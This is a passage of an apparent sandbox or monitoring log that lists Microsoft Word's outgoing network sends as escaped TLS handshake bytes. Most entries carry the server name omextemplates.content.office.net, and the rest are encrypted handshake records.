  327. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xc3\\xeb\\x12\\x86**\\x93y\\xa5\\x06\\xe9as\\xdc\\x9c\\xbe0\\xe8\\xc2\\xf1\\xc2\\xcd\\xde/\\xb2\\xe5l\\x13\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  328.  
  329.  
  330. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x978b\\x84\\x05w\\x81\\xb9\\x86\\x9dt\\xab\\x89\\x9b9r!\\xc0_\\x8c\\x834\\x06\\xce\\xce\\xe0i&\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  331.  
  332.  
  333. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97&v\\x13\\x98m\\xe7*gu\\xb0\\xcb\\x97w\\xa2co\\xa2\\xcc\\x80\\xfa\\x84\\xadz-\\xa6\\xbbq\\xbb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  334.  
  335.  
  336. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xdauowvv\\x110\\xe2\\x8c\\x8d_\\xc1\\x17o\\x8df\\x18\\x8d\\x00\\x80\\xca\\xdcz\n\\x8a\\xd7q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  337.  
  338.  
  339. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97j\\xcc\\x10\\xd8qm\\x90\\x86\\xd3*\\xf8@b_\\xe6\\x86\\xf2\\xbfaqa\\x81j\\x0e\\x8cmg\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  340.  
  341.  
  342. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97e\\xa4=\\xba(%\\x1a\\xda)\\xfc\\x0b\\x18:\\x8b\\xfc\n\\x05\\xb4l\\xcbyn\\xde\\xafo\\xb6\\x84\\xb4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  343.  
  344.  
  345. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xf3\\xa2h\\xb4r_\\xdb\\xec\\x9c\\x17\\x1d,\\xa2d:7&\\x81\\x96z\\xb0\\x01p\\xb7z\\x90\\xffw\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  346.  
  347.  
  348. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xc1\nh\\xee\\xe4\\x87\\x00\\x89x\\xd6\\x00p\\x8fde\\xbe\\xf8\\x07\\xf7\\x16\\xab\\xd5\\xc1\\x9a/\\xf7\\xb0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  349.  
  350.  
  351. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xd29wg\\x8a(l\\xba\\x88\\x14w\\x8f\\xd0\\xc8\\xa6\\xb2e\\xe8wi3u6\\xb9\\x18e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  352.  
  353.  
  354. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97eq.\\x9f\\x98e&\\xf8\\x19\\xfd\\xaa\\xa7)g\\x80\\xf0\\x96u\\x1f1\\x15h\\xae\\x0e\\x92\\xbe\\xea\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  355.  
  356.  
  357. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\x87\\x8c\\x9b=\\x11x\"\\x8c\\xc9\\xe3\\x99\\x10\\xf1\\x14\\x84\\xaf\\xbe\\xae\\xbb\\x85\\xc7\\x92\\x07\\x82\\x94\\x88\\xc2m\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  358.  
  359.  
  360. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\x1f\n\\xfd\\xd5/f9b~\\x0c/\\x14\\xe6\\xfds\\x94\\x85\\x15i\\xe5\\x94nm\\x10\\xe6\\x8e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  361.  
  362.  
  363. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\x87\\xe3\\xcem\\x1b&\\xcb\\xa0u\\xb7:\\x11\\xc0p\\x08\\xfd%\\x92\\xdf87\\x07\\x88rc\\xce\\x93\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  364.  
  365.  
  366. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\x8c\\xc9\\x04\\xe0\\x9f\\x07-\\xf5\\x9d&\\xc9\\xb8\\xe9>b\\x19f\\x87\\xd2\\xf4qt\\xd8\\xccm+\\x8ee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  367.  
  368.  
  369. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xd6?\\xe07h\\xdcp\\x9b\\xeazx\\x9d\\xde\\x1e6\n\\x94\\xf3\\xf8a\\xc4\\x0f|\\x84\\xd8\\x81\\x81\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  370.  
  371.  
  372. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\x91v\\x96\\xf58\\x03\\x0c\\xbf\\x8a9\\xf8\\xf6df\\x83\\x18\\x84\\xc8\\xb7\\xa8b\\xcf\\xda\\xf2\\x953\\xf8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  373.  
  374.  
  375. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xbb+\\x8a\\x84@\\xaes\\x9e\\xe6\\x00\\xe7\\x1f\\x99ow\\xbf\\xd7\\x15l\tut\\x00\\x92y\\xcc\\\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  376.  
  377.  
  378. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97m\\x84nw\\xc7mo\\x8b\"\\xfc>x\\xa6\\xdf\\xd9`\\x85~>\\x8f\\x07\\xb3fc\\xc3\\x9f\\xe5\\x7f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  379.  
  380.  
  381. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97,p1\\x06\\x87\\xbc\\x92r\\xa5r~o\\xfe\\x94\\xdf\\x9d\\x8b\\xbe\\xde\\x00\\xc1&\\x06\\x0c\\x86\\x02\\xbe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  382.  
  383.  
  384. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x19\\x01\\xa4\\xfb?!k\\xa9w\\x84\\x11\\x81\\xdfo\\xcf\\x13\\x9dc\\xf35\\x1d@\\xa2\\xc9xo\\xb7\\xae\\x0f\\xd5=\\xe2\\x9e\\xc0\\x9e+\\xc4\\xcb\\xc01jm\\x17\\xf3o\\xf2\\xe1\r0\\xb6\\xb8t\\xc0\\xd3@dp\\xef\\xa1\\xef\\xcf\\x91h\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x82\\xed\\xe7\\x96\\xe6\\xfa\\xdb\\xbd\\x93\\x8bw\\xcao\\xd6\\xd8\\xfe\\xcfi*\\x14x\\xcc\\x10\\x17\\xf1\\xf9\\xc7_\\xd4\\xa0\\xa7ow\\xb2\\x00x\\xfd_\\xc5,\\xa5\\k\\xfb(&\\xde"
  385.  
  386.  
  387. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcd\\x9c \\xa6\\x9d\\x05\\xect\\xa4\\xa6\\x99\\xb6k\\xd89\\x83\\xf9b\\xe6\\xaep\\xed\\xe0\\xb0\\x80\\xdak\\xa8v\\xdf\\x16jzc\\xa1;\\x13r\\x8dh\\x12\\x86=q\\x058k\\xec\\xd8<z\\xd3\\xcd\\x82?\\x8b\\xa3\\xb1\\xfc\\x1f\\xd4\\x8e.\\xfc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000oj\\xd2\\xcb\\x9f\\x90\\xb9)\\xae\\xc2\\xac\\xf9\\x92`\\x95\\xb1\\xc2\\x9d\\xec\\xa4\\x97\\xc7\"_\r4\\xa90\\xa6\\x94\\x05\\xf6\\xcb\\xcbm\\xc9\\xc0\\xb8u\\xbb\\x81e0\\x9e\\xe9z\\x10m"
  388.  
  389.  
  390. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04btg\\x9f\\x01\\xdf!cn\\x07\\x04\\xde\\x04h\\x94\\xb5\\x9a\\xc4\\xa6\\x9do&vbk&h\\xfe\\xc5\\xb3\\xd5j\\x13`\\xb9\\x8d\\xd1;\\x08\\x89\"\\x81\\x14c\\xa8\\x80q`\\x0b\\xb0\\x10\\x92\\xb5y6\\xf5\\xf0\\xdcge\\xbc\\x88\\x12\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb6\\xc5\\xa5b(taw\\xb7\\x97f\\x14\\xa3\\xd88\\xad\\xf8\\x0f\\x9a\\xa4\\xb3\\x0f\\xf8\\x01\\xa5\\xd6\\x94\\xc0\\x10\\x13d\\xfc\\xed\\x7ft\\xa3\\xc6\\x00\\x04\\x8d\\xb6z\\x91\\xbd\n\\xe4.\\xef"
  391.  
  392.  
  393. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97p\\x8d\\x8d\\x92\\x0cb\\x16\\x96u\\xbc\\xe0\n\\xbbto\r6\\x05\\x04\\xcd\\xbe`p\\xb0\\xeb\\x9dd_\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  394.  
  395.  
  396. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xc0\\xd7\\xd1\\x8e\\x043\\xed?\\x91c\\xd8\\x1did,\\xf7p\\x8a\\xefz\r^cg1u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  397.  
  398.  
  399. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97e\\xd1\\x7f\\x83\\x15>\\x123\\xa6\\xb0v\\x91\\x84\\x8d \\xebo\\xe9\\xb02y\\x1b\\x93p4\\xe7e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  400.  
  401.  
  402. "http_request": "winword.exe_WSASend_\\xff\\xff\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xb6\\x16c\\x11b\\x02c\\x8d\\x07\\x11o;%+\\xea\\x9e\\xf7\\x8d9\\xd9\\x9c7\\xb6\\xf3?\\x16\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  403.  
  404.  
  405. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x040\\x8f\\x04\\xa7\\xa6?\\x17\\xc3\\xeb\\xf5\\xb8-b;\\xccd\\x9b\\xbb\\x91\\xc6).r\\x1a\\xde\\xed\\x93`\\xc9\\x89 \\x0f+\\x81fy n\\xc1h0\\x1f\\xcc\\xfca\\xcb\\xdd\\xe1.hx\\xf3\\x19\\xa5\\xd8\\xd8\\xbb\\xcf\\xac@\\x85.n\\x8a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92\\x86\\xe2z\\xf7\\x01\\x1at0\\x94\\xc2\\xf0\\xf1\\xc1`\\xe5(\\xa5\\xdf\\xba\\xc7c\\x7f\\x84\\xfcfz=>\\xb6v_x\n*\\xeb\\x16\\x16t\\xac\\xf8\\xcdw\\x83\\xc0\\xc2\\x1a"
  406.  
  407.  
  408. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97n_\\xfa\\x0f\\xce\\xc5o.\\xf0\\xf4\\xe8\r\\xca%y\\xfb\\x9d\\xf0\\x86\\x1b\\xcakx\\xb3;\\x10\\x12\\xa2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  409.  
  410.  
  411. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04tqc,\\xd6\\xe9\\xff\\xebg\\x13wsc\\xc1r\\x02h\\xe9i\\x08\\x12\\x97\\x9c\\x93\\x0ct\\xb4\\x8fj\\xf2<\\x8f\\x14e\\xe9\\xa6qu\n@\\x01\\xff\\xb5w==\\xbf\\xad\\xf9r\\xa47\\xe63\\xdat\\xc5\\xd3\\xb5\\xaf\\x82\\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb5\t\\xc8o\\x01\\xab\\xf2\\xc95\\xef\\x1e\\xad\\xea\\xbb\\x16=\\xb2m\\x05\\xab\\x15\\x9e&\\xf2\\xe6\\xacy7b\\xdf\\xacm\\x0ft\\xa1/a\\xfed\\x8ee\\xe1l\\xd0\\xaa<\\x9d\\xcd"
  412.  
  413.  
  414. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad\\x9dtj\\xf8\\xacje`\\xd0z)\\x9c(m\\xbf%|\\x0bp\\xd0\\xa8e\\xf3\\xba\\xa4(\\x12;\\x16d\\x92\\xe7\\xbf\\xfe\\xf2\\xea/w\\xe1(\\x85\\xbc\\xc9\\xfft\r6\\xbf\\xb3\\x1c\\xb4\\xce\\x1f\\x05\\xf91\\xa3\\x1d`\\xbb\\xef\\x17\\x80\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x88\\xad\\x01j\\xe0ab\\xe9\\x8a\\x18zp\\xbd\\x9dq\\xdf\\xfa&\\x93\\x97\\x04\\xaep\\xae_\\xd6\\x82\\x9d\\xd3\\xce`\\xdc\\xfc\\x0b\\xa2\\xc43\\xd1\\xc8.6\\x0eijv^b"
  415.  
  416.  
  417. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xcc\\xa1\\xf4l\\xf4\r\\xece\\x14\\xbc\\xdb\\xf1\"\\x04\\x92g\\xdek\\xfb\\x85\\xf8yf=\\x89-s4\\x88\\xea\\x05\\xb9^fffa@\\x96\\xe6q\\x07\\xb3\\xff%w\\x14\\xa7\\xb9h\\xa24\\xdd\\xe4*k\\xf2\\x90\\xc5w\\xddu\\xd6q\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x80k'%\\xaa\\xc3\\\\x13\\x1c\\xa1\\x92dig<\\x1d\\xb0\\x06g*\\x19\t\\xf2.s3\\xf8\\x89\\xeb_)\\xaf\\xca\\xbd\\xf6\\x0b\\xbc6w\\xa0@a\\xea\\x0e\\xa2bm\\x8b"
  418.  
  419.  
  420. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa1\\xbf@\\xe00\\x88\\xf0\\x13\\xfb\\x1a\\xf9\\xc2\\xba_\\xd2`\\xf6\\x99\\xe5b\\xb9\\x1c\\xcc\\xad\\xe1w\\xff\\x0ewi3=\\xd5(\\x9c\\xf5\\x86\\xa1\\xa2\\x86:\\xab\\xd5\\x99u\\xc0\\xb6\\xc3\\x86\\xa7\\x00w\\x9c\\xe2\\xd3y\\x14k\\xef\\x13\\x18\\xa1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000#\\x15\\x88v\\x13\\x84\\x1exu\\xb7\\xb0&t\\x8b\\xcf\\x05!@\\x85\\xdf\\xb1\\xf6\\x88\\x051l(iw\\xec\\xeb\\xaa`j\\x80\\xb8\\xf7\\x12\\xf7\\xf6\\xd7\\xf4\\xb5\\xc9:\n\\x89\\x0c"
  421.  
  422.  
  423. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x937\\x06xj\\xef1\\x00uh\\xf6h\n\\x1a\\x0e\\xc9z\\xf7\\x8c\\xdc1q\\xd7\\xbef`\\x11hv\\xd3\\xebz\\x03\\x86\\xa2\\xac9x\\x1c\\xfeo\\x8c\\x80\\xbe\\xa5\\xdbr\\x9b\\xb7\\xabi\\xfa\\x86x\\xc7\\x15:\\xb5\n\\xed\\x06\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x81\\xb6*jd\\xda\\x9f\\xecxkx>1\\xdd+\t\\xaa\\xeb\\\\xd2\\xd3\\xe2\\x8e\\x0c3\\x0f\\x930\\xb1\\xc7\"r\\xdb\\tg\\xfeut\\xcc\\xd9\\x90\\xec_\\xb8r"
  424.  
  425.  
  426. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc2a\\xc7\\x95\\xbc*t\r(\\xaf\\xcc\\xbe\\xcd\\xf2x\\x008>\\xc2\\xec\\x9a\\xec\\xe9fe\\xd7d?\\x82\\x9bwu\\xda3;z%\\xc5\\xe4(\\xf1r\\x06e\\x04\\xd1\\xe7ii\\xc02_\\xe78&\\x99vp\\xba\\xa2\\x90\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfax\\xa0\\x8f\\x81\\x80\\xa1\\xe4\\xc0\\xfd\\xed\\x8dho\\xea\\x86\\xd69\\x14;xi\\xaaq(h\\x1dl\\x057\\x98wb\\xa6\\x9b\\xa1h\\x00\\xcd\\x9e\\x1a\\xa2\\xe0\\xb3\\x809"
  427.  
  428.  
  429. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa4#h!m\\xd5o^\\xbe\\x98\\xfb&\rk\\xab\\xcc\\xf7\\xf4\\xa3\\xe2g+h)\\x13\\x92c\\x87t\\x85\\x8a|z\\xedc\\xdd^\\xc9\\xc9\\xce6w\\xec~\\x85\\x17hdws@w\\x8b\\xf7\\xf6\\xdcq/ \\x00\\x15u\\xa1\\xea\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd7i2\\x94\\x97e\\x143\\x9f\\xd7\\x9f\\xac/\\xf0\\xb6\\xe4\\x94*\\xe5\"@i!\\xfb\\xca\\x1a#\\xf8\\xce\\x1a\\xfd\\xf92_y\\x8b\\x9e\\xfa\\x85\\xdd\\xf0\\xa7\\xb5\\x88\\x1d\\xab\\xe6\\xe8"
  430.  
  431.  
